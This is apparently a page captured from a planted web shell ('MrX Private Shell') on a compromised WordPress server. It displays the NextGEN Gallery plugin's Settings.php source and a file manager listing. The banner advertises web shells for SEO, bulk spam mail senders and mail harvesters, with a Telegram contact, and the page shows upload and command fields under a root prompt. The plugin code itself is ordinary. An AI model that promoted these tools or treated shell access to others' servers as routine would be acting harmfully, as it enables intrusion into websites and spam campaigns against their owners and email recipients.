__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php

namespace Imagely\NGG\Settings;

// phpcs:ignore Generic.Files.OneObjectStructurePerFile.MultipleFound
use Imagely\NGG\Util\Serializable;

/**
 * Settings manager for blog-level settings.
 */
class Settings extends ManagerBase {

	/**
	 * Singleton instance.
	 *
	 * @var Settings|null
	 */
	protected static $instance = null;

	/**
	 * Get the singleton instance.
	 *
	 * @return Settings
	 */
	public static function get_instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new Settings();

			// This setting must be an option handler as it cannot be static.
			self::$instance->add_option_handler( '\Imagely\NGG\Settings\Ajax_URL_Option_Handler', [ 'ajax_url' ] );
		}
		return self::$instance;
	}

	/**
	 * Save settings.
	 *
	 * @return bool Whether the save was successful.
	 */
	public function save() {
		return \update_option( self::$option_name, $this->to_array() );
	}

	/**
	 * Load settings from database.
	 */
	public function load() {
		$this->_options = \get_option( self::$option_name, [] );

		if ( ! $this->_options ) {
			$this->_options = [];
		} elseif ( is_string( $this->_options ) ) {
			try {

				$this->_options = Serializable::unserialize( $this->_options );
			} catch ( \Exception $exception ) {
				$this->_options = [];
			}
		}
	}

	/**
	 * Delete settings from database.
	 */
	public function destroy() {
		\delete_option( self::$option_name );
	}
}

/**
 * Option handler for AJAX URL settings.
 *
 * Provides dynamic AJAX URL handling for the settings system.
 */
class Ajax_URL_Option_Handler {
 // phpcs:ignore Generic.Files.OneObjectStructurePerFile.MultipleFound

	/**
	 * Get the AJAX URL.
	 *
	 * @param string $key The option key.
	 * @param mixed  $default_value The default value.
	 * @return mixed The option value.
	 */
	public function get( $key, $default_value = null ) {
		$retval = $default_value;

		if ( 'ajax_url' == $key ) {
			$retval = site_url( '/index.php?' . NGG_AJAX_SLUG . '=1' );
			if ( is_ssl() && strpos( $retval, 'https' ) === false ) {
				$retval = str_replace( 'http', 'https', $retval );
			}
		}

		return $retval;
	}
}

Filemanager

Name Type Size Permission Actions
GalleryPathValidation.php File 2.04 KB 0644
GlobalSettings.php File 1.21 KB 0644
Installer.php File 10.42 KB 0644
ManagerBase.php File 7.46 KB 0644
Settings.php File 2.07 KB 0644
Filemanager